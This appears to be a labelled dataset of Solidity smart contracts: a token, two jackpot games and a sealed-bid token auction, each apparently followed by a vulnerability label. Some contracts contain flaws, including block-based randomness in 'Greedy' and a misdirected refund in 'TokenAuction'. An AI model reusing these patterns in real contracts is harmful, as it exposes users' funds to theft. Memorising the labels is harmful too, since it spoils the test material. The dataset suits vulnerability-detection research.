event Burn(address indexed from, uint256 value); function AdvanceToken() BaseToken(tokenName, tokenSymbol) public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(false == isFrozen(_from)); if(saleContract[_from] == false) require(false == isFrozen(_to)); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } function mintToken(uint256 mintedAmount) onlyOwner public { uint256 mintSupply = mintedAmount.mul(10 ** uint256(decimals)); balanceOf[msg.sender] = balanceOf[msg.sender].add(mintSupply); totalSupply = totalSupply.add(mintSupply); emit Transfer(0, this, mintSupply); emit Transfer(this, msg.sender, mintSupply); } function isFrozen(address target) public view returns (bool success) { if(false == frozenAccount[target]) return false; if(frozenTime[target].startTime <= now && now <= frozenTime[target].endTime) return true; return false; } function freezeAccount(address target, bool freeze, uint startTime, uint endTime) onlySaleOwner public { frozenAccount[target] = freeze; frozenTime[target].startTime = startTime; frozenTime[target].endTime = endTime; emit FrozenFunds(target, freeze, startTime, endTime); } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); balanceOf[_from] = balanceOf[_from].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); return true; } }
1
2,360
pragma solidity ^0.4.18; contract Owned { address public owner; function Owned() { owner = msg.sender; } modifier onlyOwner{ if (msg.sender != owner) revert(); _; } } contract RichestTakeAll is Owned { address public owner; uint public jackpot; uint public withdrawDelay; function() public payable { if (msg.value >= jackpot) { owner = msg.sender; withdrawDelay = block.timestamp + 5 days; } jackpot += msg.value; } function takeAll() public onlyOwner { require(block.timestamp >= withdrawDelay); msg.sender.transfer(jackpot); jackpot = 0; } }
0
201
pragma solidity ^0.4.0; contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Greedy is Owned { uint public Round = 1; mapping(uint => uint) public RoundHeart; mapping(uint => uint) public RoundETH; mapping(uint => uint) public RoundTime; mapping(uint => uint) public RoundPayMask; mapping(uint => address) public RoundLastGreedyMan; uint256 public Luckybuy; mapping(uint => mapping(address => uint)) public RoundMyHeart; mapping(uint => mapping(address => uint)) public RoundMyPayMask; mapping(address => uint) public MyreferredRevenue; uint256 public luckybuyTracker_ = 0; uint256 constant private RoundIncrease = 1 seconds; uint256 constant private RoundMaxTime = 10 minutes; uint256 public onwerfee; using SafeMath for *; using GreedyHeartCalcLong for uint256; event winnerEvent(address winnerAddr, uint256 newPot, uint256 round); event luckybuyEvent(address luckyAddr, uint256 amount, uint256 round); event buyheartEvent(address Addr, uint256 Heartamount, uint256 ethvalue, uint256 round, address ref); event referredEvent(address Addr, address RefAddr, uint256 ethvalue); event withdrawEvent(address Addr, uint256 ethvalue, uint256 Round); event withdrawRefEvent(address Addr, uint256 ethvalue); event withdrawOwnerEvent(uint256 ethvalue); function getHeartPrice() public view returns(uint256) { return ( (RoundHeart[Round].add(1000000000000000000)).ethRec(1000000000000000000) ); } function getMyRevenue(uint _round) public view returns(uint256) { return( (((RoundPayMask[_round]).mul(RoundMyHeart[_round][msg.sender])) / (1000000000000000000)).sub(RoundMyPayMask[_round][msg.sender]) ); } function getTimeLeft() public view returns(uint256) { if(RoundTime[Round] == 0 || RoundTime[Round] < now) return 0; else return( (RoundTime[Round]).sub(now) ); } function updateTimer(uint256 _hearts) private { if(RoundTime[Round] == 0) RoundTime[Round] = RoundMaxTime.add(now); uint _newTime = (((_hearts) / (1000000000000000000)).mul(RoundIncrease)).add(RoundTime[Round]); if (_newTime < (RoundMaxTime).add(now)) RoundTime[Round] = _newTime; else RoundTime[Round] = RoundMaxTime.add(now); } function buyHeart(address referred) public payable { require(msg.value >= 1000000000, "pocket lint: not a valid currency"); require(msg.value <= 100000000000000000000000, "no vitalik, no"); address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); uint256 _hearts = (RoundETH[Round]).keysRec(msg.value); uint256 _pearn; require(_hearts >= 1000000000000000000); require(RoundTime[Round] > now || RoundTime[Round] == 0); updateTimer(_hearts); RoundHeart[Round] += _hearts; RoundMyHeart[Round][msg.sender] += _hearts; if (referred != address(0) && referred != msg.sender) { _pearn = (((msg.value.mul(30) / 100).mul(1000000000000000000)) / (RoundHeart[Round])).mul(_hearts)/ (1000000000000000000); onwerfee += (msg.value.mul(4) / 100); RoundETH[Round] += msg.value.mul(54) / 100; Luckybuy += msg.value.mul(2) / 100; MyreferredRevenue[referred] += (msg.value.mul(10) / 100); RoundPayMask[Round] += ((msg.value.mul(30) / 100).mul(1000000000000000000)) / (RoundHeart[Round]); RoundMyPayMask[Round][msg.sender] = (((RoundPayMask[Round].mul(_hearts)) / (1000000000000000000)).sub(_pearn)).add(RoundMyPayMask[Round][msg.sender]); emit referredEvent(msg.sender, referred, msg.value.mul(10) / 100); } else { _pearn = (((msg.value.mul(40) / 100).mul(1000000000000000000)) / (RoundHeart[Round])).mul(_hearts)/ (1000000000000000000); RoundETH[Round] += msg.value.mul(54) / 100; Luckybuy += msg.value.mul(2) / 100; onwerfee +=(msg.value.mul(4) / 100); RoundPayMask[Round] += ((msg.value.mul(40) / 100).mul(1000000000000000000)) / (RoundHeart[Round]); RoundMyPayMask[Round][msg.sender] = (((RoundPayMask[Round].mul(_hearts)) / (1000000000000000000)).sub(_pearn)).add(RoundMyPayMask[Round][msg.sender]); } if (msg.value >= 100000000000000000){ luckybuyTracker_++; if (luckyBuy() == true) { msg.sender.transfer(Luckybuy); emit luckybuyEvent(msg.sender, Luckybuy, Round); luckybuyTracker_ = 0; Luckybuy = 0; } } RoundLastGreedyMan[Round] = msg.sender; emit buyheartEvent(msg.sender, _hearts, msg.value, Round, referred); } function win() public { require(now > RoundTime[Round] && RoundTime[Round] != 0); RoundLastGreedyMan[Round].transfer(RoundETH[Round]); emit winnerEvent(RoundLastGreedyMan[Round], RoundETH[Round], Round); Round++; } function withdraw(uint _round) public { uint _revenue = getMyRevenue(_round); uint _revenueRef = MyreferredRevenue[msg.sender]; RoundMyPayMask[_round][msg.sender] += _revenue; MyreferredRevenue[msg.sender] = 0; msg.sender.transfer(_revenue + _revenueRef); emit withdrawRefEvent( msg.sender, _revenue); emit withdrawEvent(msg.sender, _revenue, _round); } function withdrawOwner() public onlyOwner { uint _revenue = onwerfee; msg.sender.transfer(_revenue); onwerfee = 0; emit withdrawOwnerEvent(_revenue); } function luckyBuy() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < luckybuyTracker_) return(true); else return(false); } function getFullround()public view returns(uint[] round,uint[] pot, address[] whowin,uint[] mymoney) { uint[] memory whichRound = new uint[](Round); uint[] memory totalPool = new uint[](Round); address[] memory winner = new address[](Round); uint[] memory myMoney = new uint[](Round); uint counter = 0; for (uint i = 1; i <= Round; i++) { whichRound[counter] = i; totalPool[counter] = RoundETH[i]; winner[counter] = RoundLastGreedyMan[i]; myMoney[counter] = getMyRevenue(i); counter++; } return (whichRound,totalPool,winner,myMoney); } } library GreedyHeartCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
1,332
pragma solidity ^0.4.15; contract iERC20Token { function totalSupply() constant returns (uint supply); function balanceOf( address who ) constant returns (uint value); function allowance( address owner, address spender ) constant returns (uint remaining); function transfer( address to, uint value) returns (bool ok); function transferFrom( address from, address to, uint value) returns (bool ok); function approve( address spender, uint value ) returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract iBurnableToken is iERC20Token { function burnTokens(uint _burnCount) public; function unPaidBurnTokens(uint _burnCount) public; } contract SafeMath { function SafeMath() { } function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract TokenAuction is SafeMath { struct SecretBid { bool disqualified; uint deposit; uint refund; uint tokens; bytes32 hash; } uint constant AUCTION_START_EVENT = 0x01; uint constant AUCTION_END_EVENT = 0x02; uint constant SALE_START_EVENT = 0x04; uint constant SALE_END_EVENT = 0x08; event SecretBidEvent(uint indexed batch, address indexed bidder, uint deposit, bytes32 hash, bytes message); event ExecuteEvent(uint indexed batch, address indexed bidder, uint cost, uint refund); event ExpireEvent(uint indexed batch, address indexed bidder, uint cost, uint refund); event BizarreEvent(address indexed addr, string message, uint val); event StateChangeEvent(uint mask); bool public isLocked; uint public stateMask; address public owner; address public developers; address public underwriter; iBurnableToken public token; uint public proceeds; uint public strikePrice; uint public strikePricePctX10; uint public developerReserve; uint public developerPctX10; uint public purchasedCount; uint public secretBidCount; uint public executedCount; uint public expiredCount; uint public saleDuration; uint public auctionStart; uint public auctionEnd; uint public saleEnd; mapping (address => SecretBid) public secretBids; uint batchSize = 4; uint contractSendGas = 100000; modifier ownerOnly { require(msg.sender == owner); _; } modifier unlockedOnly { require(!isLocked); _; } modifier duringAuction { require((stateMask & (AUCTION_START_EVENT | AUCTION_END_EVENT)) == AUCTION_START_EVENT); _; } modifier afterAuction { require((stateMask & AUCTION_END_EVENT) != 0); _; } modifier duringSale { require((stateMask & (SALE_START_EVENT | SALE_END_EVENT)) == SALE_START_EVENT); _; } modifier afterSale { require((stateMask & SALE_END_EVENT) != 0); _; } function TokenAuction() { owner = msg.sender; } function lock() public ownerOnly { isLocked = true; } function setAuctionParms(iBurnableToken _token, address _underwriter, uint _auctionStart, uint _auctionDuration, uint _saleDuration) public ownerOnly unlockedOnly { token = _token; underwriter = _underwriter; auctionStart = _auctionStart; auctionEnd = safeAdd(_auctionStart, _auctionDuration); saleDuration = _saleDuration; if (stateMask != 0) { stateMask = 0; strikePrice = 0; purchasedCount = 0; houseKeep(); } } function reserveDeveloperTokens(address _developers, uint _developerPctX10) public ownerOnly unlockedOnly { developers = _developers; developerPctX10 = _developerPctX10; uint _tokenCount = token.balanceOf(this); developerReserve = (safeMul(_tokenCount, developerPctX10) / 1000); } function tune(uint _batchSize, uint _contractSendGas) public ownerOnly { batchSize = _batchSize; contractSendGas = _contractSendGas; } function houseKeep() public { uint _oldMask = stateMask; if (now >= auctionStart) { stateMask |= AUCTION_START_EVENT; if (now >= auctionEnd) { stateMask |= AUCTION_END_EVENT; if (strikePrice > 0) { stateMask |= SALE_START_EVENT; if (now >= saleEnd) stateMask |= SALE_END_EVENT; } } } if (stateMask != _oldMask) StateChangeEvent(stateMask); } function setStrikePrice(uint _strikePrice, uint _strikePricePctX10) public ownerOnly afterAuction { require(executedCount == 0); strikePrice = _strikePrice; strikePricePctX10 = _strikePricePctX10; saleEnd = safeAdd(now, saleDuration); houseKeep(); } function () payable { proceeds = safeAdd(proceeds, msg.value); BizarreEvent(msg.sender, "bizarre payment", msg.value); } function depositSecretBid(bytes32 _hash, bytes _message) public duringAuction payable { if (!(msg.sender == owner && !isLocked) && (_hash == 0 || secretBids[msg.sender].hash != 0) ) revert(); secretBids[msg.sender].hash = _hash; secretBids[msg.sender].deposit = msg.value; secretBidCount += 1; uint _batch = secretBidCount / batchSize; SecretBidEvent(_batch, msg.sender, msg.value, _hash, _message); } function disqualifyBid(address _from) public ownerOnly duringAuction { secretBids[_from].disqualified = true; } function executeBid(uint256 _secret, uint256 _price, uint256 _quantity) public duringSale { executeBidFor(msg.sender, _secret, _price, _quantity); } function executeBidFor(address _addr, uint256 _secret, uint256 _price, uint256 _quantity) public duringSale { bytes32 computedHash = keccak256(_secret, _price, _quantity); require(secretBids[_addr].hash == computedHash); if (secretBids[_addr].deposit > 0) { uint _cost = 0; uint _refund = 0; uint _priceWei = safeMul(_price, 1 szabo); if (_priceWei >= strikePrice && !secretBids[_addr].disqualified) { uint256 _purchaseCount = (_priceWei > strikePrice) ? _quantity : (safeMul(strikePricePctX10, _quantity) / 1000); var _maxPurchase = token.balanceOf(this) - developerReserve; if (_purchaseCount > _maxPurchase) _purchaseCount = _maxPurchase; _cost = safeMul(_purchaseCount, strikePrice); if (secretBids[_addr].deposit >= _cost) { secretBids[_addr].deposit -= _cost; proceeds = safeAdd(proceeds, _cost); secretBids[_addr].tokens += _purchaseCount; purchasedCount += _purchaseCount; if (!token.transfer(_addr, _purchaseCount)) revert(); } } if (secretBids[_addr].deposit > 0) { _refund = secretBids[_addr].deposit; secretBids[_addr].refund += _refund; secretBids[_addr].deposit = 0; } executedCount += 1; uint _batch = executedCount / batchSize; ExecuteEvent(_batch, _addr, _cost, _refund); } } function expireBid(address _addr) public ownerOnly afterSale { if (secretBids[_addr].deposit > 0) { uint _forfeit = secretBids[_addr].deposit / 2; proceeds = safeAdd(proceeds, _forfeit); uint _refund = safeSub(secretBids[_addr].deposit, _forfeit); secretBids[msg.sender].refund += _refund; secretBids[_addr].deposit = 0; expiredCount += 1; uint _batch = expiredCount / batchSize; ExpireEvent(_batch, _addr, _forfeit, _refund); } } function withdrawRefund() public { uint _amount = secretBids[msg.sender].refund; secretBids[msg.sender].refund = 0; msg.sender.transfer(_amount); } function doDeveloperGrant() public afterSale { uint _quantity = purchasedCount * developerPctX10 / 1000; var _tokensLeft = token.balanceOf(this); if (_quantity > _tokensLeft) _quantity = _tokensLeft; if (_quantity > 0) { _tokensLeft -= _quantity; if (!token.transfer(developers, _quantity)) revert(); } token.unPaidBurnTokens(_tokensLeft); } function payUnderwriter() public { require(msg.sender == owner || msg.sender == underwriter); uint _amount = proceeds; proceeds = 0; if (!underwriter.call.gas(contractSendGas).value(_amount)()) revert(); } function haraKiri() ownerOnly unlockedOnly { selfdestruct(owner); } }
1
3,016